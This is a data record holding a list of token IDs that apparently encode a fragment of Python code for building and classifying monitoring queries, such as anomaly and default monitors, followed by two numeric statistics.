13, 71, 896, 27007, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 2704, 2093, 62, 42180, 62, 24455, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 27422, 292, 62, 9127, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 90, 272, 24335, 62, 282, 2188, 92, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 272, 24335, 62, 22510, 62, 7959, 40356, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4571, 11639, 90, 7959, 3920, 62, 15908, 92, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7995, 62, 17497, 11639, 12957, 23330, 944, 13, 44598, 62, 41007, 92, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16654, 34758, 272, 24335, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 954, 62, 12286, 62, 22570, 11639, 7942, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 18189, 1391, 265, 13, 34666, 62, 400, 10126, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 16092, 324, 519, 35479, 26227, 16922, 7, 69, 6, 35479, 2099, 37913, 944, 13, 41143, 62, 4906, 30072, 407, 4855, 2637, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 45302, 22179, 7, 22766, 13, 35312, 28955, 628, 220, 220, 220, 825, 318, 62, 272, 24335, 62, 41143, 7, 944, 8, 4613, 20512, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 1771, 393, 407, 428, 318, 281, 32172, 5671, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 41143, 62, 4906, 287, 18289, 6030, 13, 272, 24335, 62, 2144, 6742, 3419, 628, 220, 220, 220, 825, 318, 62, 12286, 62, 41143, 7, 944, 8, 4613, 20512, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 32, 5671, 318, 257, 4277, 5671, 611, 340, 468, 645, 20640, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 18896, 7, 944, 13, 2144, 62, 16684, 8, 6624, 657, 198 ]
2.099213
3,810